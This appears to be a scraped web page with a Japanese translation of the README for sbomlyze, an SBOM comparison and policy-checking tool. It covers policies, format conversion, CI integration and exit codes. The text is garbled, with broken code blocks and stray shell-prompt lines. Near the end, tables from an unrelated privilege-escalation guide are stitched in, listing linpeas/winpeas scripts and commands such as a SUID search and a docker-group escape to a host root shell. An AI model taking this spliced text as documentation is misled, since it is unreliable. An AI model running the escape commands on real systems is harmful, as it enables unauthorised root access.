エラーが発生しても処理を続行し、警告を収集します。```bash
sbomlyze broken.json --tolerant
# 📦 SBOM Statistics
# ==================
# Total Components: 0
# ...
# ⚠️  Parse Warnings (1):
#   [broken.json] unknown SBOM format

パース警告には構造化された情報が含まれます。ソースファイル、人間が読めるメッセージ、そして必要に応じて問題の原因となったフィールドです。

--no-pager

自動出力ページングを無効にします。出力を別のコマンドにパイプする場合や、非対話環境で実行する場合に便利です。```bash sbomlyze image.json --no-pager sbomlyze before.json after.json --no-pager | head -20

root@kitploit:~
## ポリシーエンジン

CI/CDパイプラインでルールを強制するためのポリシーを作成します。違反が発生すると、sbomlyzeは終了コード1で終了します。

### ポリシーファイル形式```json
{
  "max_added": 10,
  "max_removed": 5,
  "max_changed": 100,
  "deny_licenses": ["GPL-3.0", "AGPL-3.0"],
  "require_licenses": true,
  "deny_duplicates": true,
  "deny_integrity_drift": true,
  "max_depth": 3,
  "warn_supplier_change": true,
  "warn_new_transitive": true,
  "min_ntia_score": 85,
  "min_cisa_score": 70,
  "min_bsi_score": 80,
  "min_overall_compliance": 75
}

ポリシールール

いずれかの min_*_score しきい値を設定すると、--compliance フラグがなくても自動的にコンプライアンス評価がトリガーされます。

例:厳格ポリシー```json

{ "max_added": 5, "max_removed": 3, "max_changed": 20, "deny_licenses": ["GPL-3.0", "AGPL-3.0", "SSPL-1.0"], "require_licenses": true, "deny_duplicates": true, "deny_integrity_drift": true, "max_depth": 3, "warn_supplier_change": true, "warn_new_transitive": true, "min_overall_compliance": 80 }

root@kitploit:~
### ポリシー違反の出力```
!! Policy Violations (3):
  [max_added] too many components added: 10 > 5
  [max_removed] too many components removed: 7 > 3
  [deny_licenses] component foo has denied license: GPL-3.0

対応SBOMフォーマット

すべてのフォーマットはJSONである必要があります。XMLサポートは現在利用できません。

フォーマット変換

sbomlyze は、対応している3つのフォーマット間を相互変換できます。```bash sbomlyze convert input.json --to spdx # any format → SPDX 2.3 sbomlyze convert input.json --to cyclonedx # any format → CycloneDX 1.5 sbomlyze convert input.json --to syft # any format → Syft JSON

root@kitploit:~
詳細は[Convert Mode](#convert-mode)を参照してください。

### クロスフォーマット比較

sbomlyzeは異なる形式のSBOMを比較できます:```bash
# Compare Syft output with CycloneDX
sbomlyze syft-output.json cyclonedx-output.json

# Compare SPDX with Syft
sbomlyze spdx-output.json syft-output.json

注記: SBOM形式が異なると、抽出される詳細レベルも異なります。形式をまたいだ差分は、実際のシステム変更ではなく、形式の違い(例:フィールドの有無)による変化を示す場合があります。主要な検出結果システムは、スキャンコンテキストの不一致を検出した場合に警告します。

コンポーネント ID マッチング

コンポーネントは、優先順位に基づく ID システムを使用して照合されます:

CI/CD 統合

GitHub Actions

SBOMlyze は、依存関係のない JavaScript Action として提供されます。チェックイン済みまたは別途生成された head SBOM を、プルリクエストの git ベースにあるファイルと比較し、Job Summary を公開します。また、オプションで SARIF を生成したり、1 つの PR コメントを更新したりできます。```yaml name: SBOM Check on: pull_request:

permissions: contents: read

jobs: sbom-diff: runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0

root@kitploit:~
  - id: sbomlyze
    uses: rezmoss/sbomlyze@31503690611fda8ebba4ed2bd186eda000442594 # v0.5.1
    with:
      sbom-path: build/sbom.cdx.json
      policy: .github/sbom-policy.json
      fail-on: policy
root@kitploit:~
このActionはジェネレータコマンドを実行しません。ヘッドSBOMは、レビュー済みの別ステップで生成するか、リポジトリにコミットしてください。`comment` と `sarif` はどちらもデフォルトで `false` です。コメント権限が利用できない場合、フォークされたPRでも完全なJob Summaryを受け取ります。すべての入出力、SHAピニング、SARIFアップロード、権限、およびセキュリティ動作については、[Actionリファレンス](https://github.com/rezmoss/sbomlyze/blob/HEAD/ACTION.md)を参照してください。

### GitLab CI```yaml
sbom-diff:
  stage: test
  script:
    - syft . -o json > current.json
    - sbomlyze baseline.json current.json --policy policy.json --json > sbom-report.json
    - sbomlyze baseline.json current.json --format junit > sbom-junit.xml
  artifacts:
    paths:
      - sbom-report.json
    reports:
      junit: sbom-junit.xml
    when: always

整合性ドリフトアラート```bash

Alert on any integrity drift (CI example)

if sbomlyze baseline.json current.json --json | jq -e '.diff.drift_summary.integrity_drift > 0' > /dev/null; then echo "⚠️ INTEGRITY DRIFT DETECTED - Investigate immediately!" exit 1 fi

root@kitploit:~
### 深層依存関係アラート```bash
# Alert on new deep transitive dependencies
if sbomlyze baseline.json current.json --json | jq -e '.diff.dependencies.depth_summary.depth_3_plus > 0' > /dev/null; then
  echo "⚠️  New deep transitive dependencies detected - Review required!"
fi

Compliance Gate```bash

Fail the build if the SBOM doesn't meet minimum-element requirements

sbomlyze current.json --policy compliance-policy.json

where compliance-policy.json sets min_overall_compliance / min_ntia_score / etc.

root@kitploit:~
## 終了コード

| コード | 意味 |
|------|---------|
| 0 | 成功、差分または違反なし |
| 1 | 差分を検出(追加/削除/変更されたコンポーネント)、ポリシー違反、またはエラー |

**注:** 差分モードでは、ポリシーファイルがなくても、コンポーネントの変更が検出されると終了コード 1 が返されます。これにより、CI で「何か変更されたかどうか」を確認するシンプルなゲートとして使用できます。

## 例

### Dockerイメージの比較```bash
# Generate SBOMs
syft nginx:1.25-alpine -o json > nginx-125.json
syft nginx:1.26-alpine -o json > nginx-126.json

# Compare
sbomlyze nginx-125.json nginx-126.json

ライセンス監査```bash

Check for GPL licenses in new dependencies

cat > audit-policy.json << EOF { "deny_licenses": ["GPL-2.0", "GPL-3.0", "LGPL-2.1", "LGPL-3.0"], "require_licenses": true } EOF

sbomlyze old.json new.json --policy audit-policy.json

root@kitploit:~
### 依存関係のドリフト検出```bash
# Detect any changes (strict mode for no drift)
cat > no-drift.json << EOF
{
  "max_added": 0,
  "max_removed": 0,
  "max_changed": 0
}
EOF

sbomlyze baseline.json current.json --policy no-drift.json

コンプライアンスチェック```bash

Score an SBOM and enforce a minimum

sbomlyze image.json --compliance

cat > compliance-policy.json << EOF { "min_ntia_score": 90, "min_overall_compliance": 80 } EOF

sbomlyze image.json --policy compliance-policy.json

root@kitploit:~
### SBOM形式の変換```bash
# Convert a Syft SBOM to CycloneDX for tools that require it
syft alpine:latest -o json > alpine-syft.json
sbomlyze convert alpine-syft.json --to cyclonedx -o alpine-cdx.json

# Convert CycloneDX to SPDX for compliance workflows
sbomlyze convert vendor-sbom.cdx.json --to spdx > vendor-sbom.spdx.json

# Pipe conversion output directly
sbomlyze convert input.json --to spdx | jq '.packages | length'

ブラウザでSBOMを探索```bash

Generate SBOM and explore in web UI

syft alpine:latest -o json > alpine.json

Start web server

sbomlyze -web

Then open http://localhost:8080 and drag-drop alpine.json

root@kitploit:~
### インタラクティブターミナル探索```bash
# Explore with keyboard navigation
sbomlyze alpine.json -i

# Navigate with arrow keys, search with '/', view details with Enter

開発

テストの実行```bash

make test

or

go test -v ./...

root@kitploit:~
### Lint```bash
make lint        # runs go vet + golangci-lint + staticcheck
make vulncheck   # runs govulncheck for known CVEs

ビルド```bash

make build-quick

or

go build -o sbomlyze ./cmd/sbomlyze

root@kitploit:~
### Make コマンド```bash
make all            # Run test, lint, and build
make test           # Run all tests with race detector
make lint           # Run go vet, golangci-lint, and staticcheck
make vulncheck      # Run govulncheck for known vulnerabilities
make build          # Build with goreleaser (snapshot)
make build-quick    # Quick build for development
make snapshot-test  # Run snapshot tests only
make update-snapshot # Update snapshot golden files
make clean          # Remove build artifacts

コントリビューション

コントリビューションを歓迎します!初めてのコントリビューションに適したイシューには good first issue というラベルが付いています。存在する場合は CONTRIBUTING.md を参照し、変更を提案するためにイシューやディスカッションを遠慮なく開いてください。

ツールをダウンロード
Format--to valueOutput
CycloneDX 1.5cyclonedx or cdxCycloneDX JSON with metadata, dependencies, and properties
SPDX 2.3spdxSPDX JSON with packages, relationships, and external references
SyftsyftSyft JSON with artifacts, relationships, source, and distro info
発見事項説明
スキャンコンテキストの不一致SBOM 間でスキーマバージョンまたはスキャンスコープが変更された場合に警告します
攻撃対象領域の差分パッケージ、ファイル、依存関係の数の変化をパーセンテージ付きで表示します
消滅/新規エコシステム完全に出現または消滅したパッケージタイプ
OS/ディストリビューションの移行スキャン間のオペレーティングシステムの変更を検出します
バージョン変更分析アップグレードとダウングレードを数え、変更をメジャー/マイナー/パッチに分類します
バージョンダウングレードコンポーネントの詳細とともにダウングレードをセキュリティシグナルとしてフラグします
整合性ドリフトのコンテキストリスクガイダンス付きでパッケージタイプ別に整合性ドリフトを分解します
主要なパスパターンタイプとファイルシステムパスによる集中した変更
削除/追加のホットスポット変更の影響を受ける上位ディレクトリ
安定したタイプカウントが同一(変更されていないコア)のパッケージタイプ
ライセンスカテゴリの変化コピーレフト/パーミッシブのバランスの変化
カタロガーのギャップBefore でパッケージを検出したが After では検出しなかったスキャナー
win_enum.ps1PowerShell script for Windows reconnaissance
linpeas.shLinux Privilege Escalation Awesome Script (external)
winpeas.batWindows Privilege Escalation Awesome Script (external)
TechniqueCommandDescription
SUID Binariesfind / -perm -u=s -type f 2>/dev/nullFind binaries with SUID bit set
Sudo Rightssudo -lCheck sudo permissions
Capabilitiesgetcap -r / 2>/dev/nullFind binaries with capabilities
Writable /etc/passwdls -la /etc/passwdCheck if passwd is writable
Docker Groupdocker run -v /:/mnt --rm -it alpine chroot /mnt shEscape if user is in docker group
機能説明
エッジ差分追加/削除された直接依存関係(A は B に依存)
推移的到達可能性グラフを通じて現れる新しい間接依存関係
推移的喪失トラッキング削除された推移的依存関係
パストラッキング各新しい推移的依存関係にどのように到達するかを正確に表示
深さトラッキング各新しい依存関係がコードから何ホップ離れているか
リスクサマリー深さ3以上の依存関係を高リスクとしてフラグ付け
3+高 ⚠️深い推移的依存関係 - 注意深くレビューしてください
KeyAction
↑ / k上へ移動
↓ / j下へ移動
PgUp / Ctrl+u半ページ上へ
PgDn / Ctrl+d半ページ下へ
Home / g先頭へジャンプ
End / G末尾へジャンプ
Enterコンポーネントの詳細を表示
Esc / Backspace戻る
q / Ctrl+c終了
KeyContextAction
j詳細ビュー構文ハイライト付きでコンポーネントの raw JSON を表示
dJSON ビュー詳細ビューに戻る
EnterJSON ビューコンポーネント JSON をファイルにエクスポート
?任意のビューすべてのキーバインドを表示するヘルプを表示
形式フラグ説明最適な用途
text--format text (デフォルト)人間が読めるターミナル出力ローカルでの確認
json--json または --format json構造化JSONCIパイプライン、スクリプト
sarif--format sarifSARIF 2.1.0(GitHub Code Scanning 用)GitHub 連携
junit--format junitJUnit XML テスト結果CI テストダッシュボード
markdown--format markdownPRコメント対応のMarkdownレポートプルリクエストのコメント
html--format html自己完結型HTMLレポート(インラインCSS/JS)監査人、共有可能なレポート
patch--format patchRFC 6902 JSON Patch 操作プログラムによるパッチ適用
RuleTypeDescription
max_addedint許可される新しいコンポーネントの最大数(0 = 無制限)
max_removedint許可される削除されたコンポーネントの最大数(0 = 無制限)
max_changedint許可される変更されたコンポーネントの最大数(0 = 無制限)
deny_licenses[]string禁止されたライセンス識別子のリスト
require_licensesbool追加されたすべてのコンポーネントにライセンスが必要(差分モードでは新しく追加されたコンポーネントのみチェック)
deny_duplicatesbool結果に重複パッケージが存在する場合は失敗
deny_integrity_driftboolバージョン変更なしにコンポーネントのハッシュが変更された場合に失敗(サプライチェーンリスク)
max_depthint深さ >= N の新しい推移的依存関係がある場合に失敗(0 = 無制限)
warn_supplier_changeboolコンポーネントのサプライヤー/作者が変更された場合に警告(失敗はしない)
warn_new_transitivebool新しい推移的依存関係がある場合に警告(失敗はしない)
min_ntia_scoreintNTIA コンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効)
min_cisa_scoreintCISA コンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効)
min_bsi_scoreintBSI コンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効)
min_overall_complianceint全体的なコンプライアンススコアがこれを下回る場合に失敗(0-100、0 = 無効)
フォーマットファイル検出抽出される識別子
Syft (ネイティブ)JSONキー "artifacts" に加えて、"source", "distro", "descriptor" のいずれかPURL, CPE, 名前
CycloneDXJSONキー "bomFormat" = "CycloneDX"、または "$schema" が cyclonedx を含むPURL, CPE, BOM-ref, グループ (名前空間)
SPDXJSONキー "spdxVersion" が "SPDX-" で始まるPURL, CPE, SPDXID
優先度識別子例説明
1PURLpkg:npm/lodashパッケージ URL(バージョン除去済み)
2CPEcpe:vendor:productCPE ベンダー:プロダクト(バージョン除去済み)
3BOM-ref / SPDXIDref:component-123CycloneDX bom-ref または SPDX 識別子
4名前空間 + 名前com.example/mypackageグループ/名前空間と名前
5名前simple-package名前のみにフォールバック